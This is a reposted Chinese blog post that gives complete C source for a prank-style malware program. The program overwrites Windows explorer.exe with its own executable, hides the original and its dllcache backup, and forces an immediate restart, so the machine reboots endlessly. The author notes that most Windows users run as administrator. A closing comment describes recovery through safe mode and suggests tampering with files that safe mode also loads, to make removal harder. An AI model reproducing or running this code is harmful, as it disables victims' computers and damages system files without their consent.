让你的Windows不断重启的C语言代码

原文: 让你的Windows不断重启的C语言代码

没有写Linux的原因是因为搞不定Linux下的权限问题,而Windows下基本上使用电脑的用户都是管理员,所以钻个空了,不多说下面是代码
#include "stdio.h"
#include "process.h"
int copy_file(char *start,char *end)
{
    FILE *input,*output;
    if(((input=fopen(start,"rb"))!=NULL)&&((output=fopen(end,"wb"))!=NULL))
    {
        char temp;
        while(!feof(input))
        {
            fread(&temp,sizeof(char),1,input);
            fwrite(&temp,sizeof(char),1,output);
        }
        fclose(input);
        fclose(output);
        return 0;
    }
    return 1;
}
int auto_run(char *my)
{
    FILE *fp;
    if((fp=fopen("C:\\windows\\system\\explorer.exe","rb"))!=NULL)
    {
        fclose(fp);
        remove("C:\\windows\\$temp#");
        remove("C:\\windows\\system32\\dllcache\\$temp$");
    }
    else
    {
        copy_file("C:\\windows\\explorer.exe","C:\\windows\\system\\explorer.exe");
        rename("C:\\windows\\explorer.exe","C:\\windows\\$temp$");
        rename("C:\\windows\\system32\\dllcache\\explorer.exe","C:\\windows\\system32\\dllcache\\$temp$");
        copy_file(my,"C:\\windows\\explorer.exe");
    }
    return 0;
}
int main(int argc,char **argv)
{
    auto_run(argv[0]);
    spawnl(1,"C:\\windows\\system32\\shutdown.exe"," -r -t 0",NULL);
    return 0;
}
/*据测试,在带有命令提示符的安全模式下好像并没有启动explorer.exe.而本程序正是通过修改explorer.exe达到不断重启的目的.所以只要在带有命令提示符的安全模式下将备份在windows\system\下的explorer.exe复制到windows\下就可以解决问题了,如果想做得更绝点的话,那就修改其它系统文件,比如修改一些即使是使用安全模式也必需要启动的系统文件,这样就比较棘手了*/

posted on 2014-12-16 08:19 NET未来之路 阅读( ...) 评论( ...) 编辑 收藏

转载于:https://www.cnblogs.com/lonelyxmas/p/4166279.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值